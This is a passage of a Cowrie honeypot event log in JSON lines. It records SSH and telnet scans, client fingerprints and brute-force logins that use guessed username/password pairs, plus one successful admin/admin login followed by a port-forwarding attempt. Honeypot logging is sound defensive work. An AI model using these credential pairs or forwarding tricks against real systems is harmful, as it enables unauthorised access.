sh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:39:39.584493Z","src_ip":"109.237.96.109","session":"b2d8f90aee86","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"alskeo","message":"login attempt [root/alskeo] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:39:39.865672Z","src_ip":"109.237.96.109","session":"b2d8f90aee86","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:39:40.964195Z","src_ip":"109.237.96.109","session":"b2d8f90aee86","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":36.75539231300354,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:39:42.731681Z","src_ip":"69.4.83.194","session":"db7bd56a9af1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"178.128.93.180","src_port":35398,"dst_ip":"10.17.0.5","dst_port":23,"session":"b0c024d9a657","protocol":"telnet","message":"New connection: 178.128.93.180:35398 (10.17.0.5:23) [session: b0c024d9a657]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:39:43.731598Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.4.83.194","src_port":50386,"dst_ip":"159.203.135.109","dst_port":23,"session":"a5819f2c6754","protocol":"telnet","message":"New connection: 69.4.83.194:50386 (159.203.135.109:23) [session: a5819f2c6754]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:39:45.319182Z"}
{"eventid":"cowrie.session.connect","src_ip":"35.225.56.202","src_port":32786,"dst_ip":"159.203.135.109","dst_port":22,"session":"198a3bcd3764","protocol":"ssh","message":"New connection: 35.225.56.202:32786 (159.203.135.109:22) [session: 198a3bcd3764]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:39:46.642971Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:39:46.647213Z","src_ip":"35.225.56.202","session":"198a3bcd3764","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:39:46.682526Z","src_ip":"35.225.56.202","session":"198a3bcd3764","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"m","password":"1","message":"login attempt [m/1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:39:46.857563Z","src_ip":"35.225.56.202","session":"198a3bcd3764","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:39:47.896731Z","src_ip":"35.225.56.202","session":"198a3bcd3764","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.149.170.125","src_port":53996,"dst_ip":"10.17.0.5","dst_port":22,"session":"05c365684388","protocol":"ssh","message":"New connection: 103.149.170.125:53996 (10.17.0.5:22) [session: 05c365684388]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:40:02.722370Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:40:02.727667Z","src_ip":"103.149.170.125","session":"05c365684388","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:40:02.981163Z","src_ip":"103.149.170.125","session":"05c365684388","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"cnhjqrf","message":"login attempt [root/cnhjqrf] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:40:03.739319Z","src_ip":"103.149.170.125","session":"05c365684388","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:40:04.994644Z","src_ip":"103.149.170.125","session":"05c365684388","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"79.139.59.21","src_port":38278,"dst_ip":"159.203.135.109","dst_port":23,"session":"525e9a4fa21e","protocol":"telnet","message":"New connection: 79.139.59.21:38278 (159.203.135.109:23) [session: 525e9a4fa21e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:40:11.873857Z"}
{"eventid":"cowrie.session.closed","duration":32.01862931251526,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:40:17.337738Z","src_ip":"69.4.83.194","session":"a5819f2c6754","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"182.52.90.106","src_port":60900,"dst_ip":"159.203.135.109","dst_port":22,"session":"70632fa463f7","protocol":"ssh","message":"New connection: 182.52.90.106:60900 (159.203.135.109:22) [session: 70632fa463f7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:40:26.941273Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:40:26.945937Z","src_ip":"182.52.90.106","session":"70632fa463f7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:40:27.208892Z","src_ip":"182.52.90.106","session":"70632fa463f7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"plex","password":"plex","message":"login attempt [plex/plex] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:40:28.291992Z","src_ip":"182.52.90.106","session":"70632fa463f7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"69.4.83.194","src_port":39834,"dst_ip":"159.203.135.109","dst_port":23,"session":"61ec179a560f","protocol":"telnet","message":"New connection: 69.4.83.194:39834 (159.203.135.109:23) [session: 61ec179a560f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:40:29.176408Z"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:40:29.556896Z","src_ip":"182.52.90.106","session":"70632fa463f7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.149.28.157","src_port":37806,"dst_ip":"159.203.135.109","dst_port":22,"session":"b8320d330967","protocol":"ssh","message":"New connection: 103.149.28.157:37806 (159.203.135.109:22) [session: b8320d330967]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:40:35.530226Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:40:35.535498Z","src_ip":"103.149.28.157","session":"b8320d330967","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:40:35.785609Z","src_ip":"103.149.28.157","session":"b8320d330967","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Forten1883","message":"login attempt [root/Forten1883] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:40:36.533203Z","src_ip":"103.149.28.157","session":"b8320d330967","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:40:37.789493Z","src_ip":"103.149.28.157","session":"b8320d330967","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.237.144.204","src_port":60088,"dst_ip":"159.203.135.109","dst_port":22,"session":"bbb460612ac2","protocol":"ssh","message":"New connection: 103.237.144.204:60088 (159.203.135.109:22) [session: bbb460612ac2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:40:51.488595Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:40:51.496087Z","src_ip":"103.237.144.204","session":"bbb460612ac2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:40:51.752241Z","src_ip":"103.237.144.204","session":"bbb460612ac2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"systemd","password":"Voidsetdownload.so","message":"login attempt [systemd/Voidsetdownload.so] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:40:52.807340Z","src_ip":"103.237.144.204","session":"bbb460612ac2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":69.37040090560913,"message":"Connection lost after 69 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:40:53.101903Z","src_ip":"178.128.93.180","session":"b0c024d9a657","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:40:54.066643Z","src_ip":"103.237.144.204","session":"bbb460612ac2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":35.77669310569763,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:41:04.952982Z","src_ip":"69.4.83.194","session":"61ec179a560f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.64.176","src_port":42994,"dst_ip":"10.17.0.5","dst_port":22,"session":"55ef17c39357","protocol":"ssh","message":"New connection: 87.251.64.176:42994 (10.17.0.5:22) [session: 55ef17c39357]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:41:10.150221Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:41:10.155297Z","src_ip":"87.251.64.176","session":"55ef17c39357","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:41:10.249272Z","src_ip":"87.251.64.176","session":"55ef17c39357","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:41:10.533567Z","src_ip":"87.251.64.176","session":"55ef17c39357","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"87.251.64.176","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:41:10.633700Z","session":"55ef17c39357","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:41:10.730179Z","src_ip":"87.251.64.176","session":"55ef17c39357","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.7","message":"Connection lost after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:41:10.826726Z","src_ip":"87.251.64.176","session":"55ef17c39357","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"35.225.56.202","src_port":38806,"dst_ip":"159.203.135.109","dst_port":22,"session":"9075b0846720","protocol":"ssh","message":"New connection: 35.225.56.202:38806 (159.203.135.109:22) [session: 9075b0846720]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:41:13.092456Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:41:13.097526Z","src_ip":"35.225.56.202","session":"9075b0846720","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:41:13.133750Z","src_ip":"35.225.56.202","session":"9075b0846720","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ctf","password":"ctf","message":"login attempt [ctf/ctf] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:41:13.309963Z","src_ip":"35.225.56.202","session":"9075b0846720","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:41:14.349312Z","src_ip":"35.225.56.202","session":"9075b0846720","protocol":"ssh"}
